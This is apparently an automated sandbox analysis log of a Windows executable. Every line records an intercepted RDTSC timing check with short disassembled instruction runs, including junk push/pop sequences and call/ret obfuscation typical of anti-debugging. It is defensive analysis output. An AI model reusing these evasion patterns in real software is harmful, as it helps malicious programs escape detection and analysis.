Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7DA78 second address: B7DA7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7DA7C second address: B7DA80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7DA80 second address: B7DA86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7DA86 second address: B7DA90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FF624B4E7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F9D8 second address: B7F9DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F9DC second address: B7F9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81003 second address: B8106D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007FF624C752F6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov di, C74Ah 0x00000013 adc ebx, 47C85D40h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007FF624C752F8h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 push esi 0x00000036 pushad 0x00000037 add dword ptr [ebp+124517A8h], ecx 0x0000003d mov dword ptr [ebp+122D19B0h], edi 0x00000043 popad 0x00000044 pop ebx 0x00000045 pushad 0x00000046 mov ecx, dword ptr [ebp+122D183Dh] 0x0000004c movzx ecx, si 0x0000004f popad 0x00000050 push 00000000h 0x00000052 add edi, dword ptr [ebp+122D1D70h] 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jne 00007FF624C752F6h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8106D second address: B81073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8653D second address: B86542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86542 second address: B86548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81235 second address: B81242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8406A second address: B84070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81242 second address: B81247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89712 second address: B89718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8233E second address: B82344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84070 second address: B84074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81247 second address: B8124D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89718 second address: B89741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007FF624B4E7D6h 0x00000010 push edx 0x00000011 pop edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 jnp 00007FF624B4E7DEh 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pop edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84074 second address: B8408C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF624C752FCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89741 second address: B89745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8408C second address: B8414B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF624C752FCh 0x0000000e popad 0x0000000f nop 0x00000010 xor bx, F20Ah 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007FF624C752F8h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 add dword ptr [ebp+1244E042h], ecx 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 add ebx, 5A3A60A7h 0x00000049 sub dword ptr [ebp+122D1DCDh], edi 0x0000004f mov eax, dword ptr [ebp+122D00ADh] 0x00000055 push 00000000h 0x00000057 push edi 0x00000058 call 00007FF624C752F8h 0x0000005d pop edi 0x0000005e mov dword ptr [esp+04h], edi 0x00000062 add dword ptr [esp+04h], 00000017h 0x0000006a inc edi 0x0000006b push edi 0x0000006c ret 0x0000006d pop edi 0x0000006e ret 0x0000006f mov bx, 6600h 0x00000073 push FFFFFFFFh 0x00000075 jp 00007FF624C752FCh 0x0000007b mov edi, dword ptr [ebp+122D2CA3h] 0x00000081 sub ebx, dword ptr [ebp+122D1995h] 0x00000087 push eax 0x00000088 push eax 0x00000089 push edx 0x0000008a pushad 0x0000008b jmp 00007FF624C75309h 0x00000090 push ebx 0x00000091 pop ebx 0x00000092 popad 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81356 second address: B81360 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF624B4E7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8AD08 second address: B8AD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81360 second address: B81366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C299 second address: B8C2FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FF624C752F6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov bx, cx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FF624C752F8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 call 00007FF624C75302h 0x00000035 mov bx, 56A7h 0x00000039 pop edi 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d mov bl, 8Bh 0x0000003f pop ebx 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jl 00007FF624C752FCh 0x00000049 jno 00007FF624C752F6h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B547 second address: B8B558 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF624B4E7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B558 second address: B8B55C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8E2F0 second address: B8E351 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, 45598F98h 0x0000000f push 00000000h 0x00000011 sbb bl, FFFFFFB7h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FF624B4E7D8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 xchg eax, esi 0x00000031 push esi 0x00000032 jmp 00007FF624B4E7E8h 0x00000037 pop esi 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push ecx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8E351 second address: B8E356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F271 second address: B8F275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F275 second address: B8F292 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF624C75303h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9035B second address: B9035F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9035F second address: B90363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8D3D8 second address: B8D3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8E4AC second address: B8E4BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FF624C752F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B924E0 second address: B924EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B916B5 second address: B916CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a jo 00007FF624C75300h 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C488 second address: B8C50F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF624B4E7DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+1244E12Ch], esi 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FF624B4E7D8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 and bh, FFFFFFF1h 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007FF624B4E7D8h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 movsx ebx, si 0x00000059 mov eax, dword ptr [ebp+122D0CB1h] 0x0000005f xor bh, FFFFFFB3h 0x00000062 push FFFFFFFFh 0x00000064 sbb ebx, 33D388C9h 0x0000006a nop 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C50F second address: B8C523 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B933D3 second address: B933DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FF624B4E7D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92655 second address: B92659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92659 second address: B92662 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B93540 second address: B935A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c adc bl, FFFFFFD0h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d mov bx, CDE2h 0x00000021 mov eax, dword ptr [ebp+122D0DB5h] 0x00000027 pushad 0x00000028 cld 0x00000029 call 00007FF624C75306h 0x0000002e pop esi 0x0000002f popad 0x00000030 push FFFFFFFFh 0x00000032 push esi 0x00000033 pop ebx 0x00000034 nop 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FF624C75308h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B935A2 second address: B935B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F22F second address: B2F233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9CCF6 second address: B9CD1A instructions: 0x00000000 rdtsc 0x00000002 je 00007FF624B4E7D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FF624B4E7E0h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9CD1A second address: B9CD1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9CD1E second address: B9CD22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9C636 second address: B9C649 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF624C752F6h 0x00000008 jng 00007FF624C752F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA0DE3 second address: BA0DFC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FF624B4E7DCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA0DFC second address: BA0E0F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF624C752F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA0E0F second address: BA0E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA0E16 second address: BA0E20 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF624C752FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6B50 second address: BA6B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA62E8 second address: BA62FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF624C752F6h 0x0000000a pop eax 0x0000000b jl 00007FF624C752FCh 0x00000011 jbe 00007FF624C752F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA62FF second address: BA6305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6305 second address: BA6311 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6311 second address: BA6315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6315 second address: BA632D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75304h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA632D second address: BA6341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e ja 00007FF624B4E7D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6341 second address: BA6349 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6349 second address: BA634F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA634F second address: BA6353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6353 second address: BA6361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FF624B4E7D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6658 second address: BA6675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624C75309h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA67F5 second address: BA67F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6964 second address: BA6978 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FF624C752FCh 0x0000000e ja 00007FF624C752F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAA5E second address: BAAA7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAA7D second address: BAAA81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAA81 second address: BAAA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB35C3 second address: BB35F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF624C752F6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007FF624C75300h 0x00000012 jo 00007FF624C752F8h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF624C752FBh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2392 second address: BB239B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB239B second address: BB239F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB24FA second address: BB2500 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2500 second address: BB2504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2504 second address: BB251B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FF624B4E7D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007FF624B4E7D6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB251B second address: BB251F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2823 second address: BB282B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB282B second address: BB2848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF624C752FDh 0x0000000b ja 00007FF624C752F6h 0x00000011 popad 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2848 second address: BB285C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FF624B4E7DEh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB285C second address: BB2860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2E97 second address: BB2EA3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007FF624B4E7D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2EA3 second address: BB2EAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF624C752F6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2EAF second address: BB2ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF624B4E7DDh 0x0000000f jno 00007FF624B4E7DAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75DA6 second address: B75DB2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
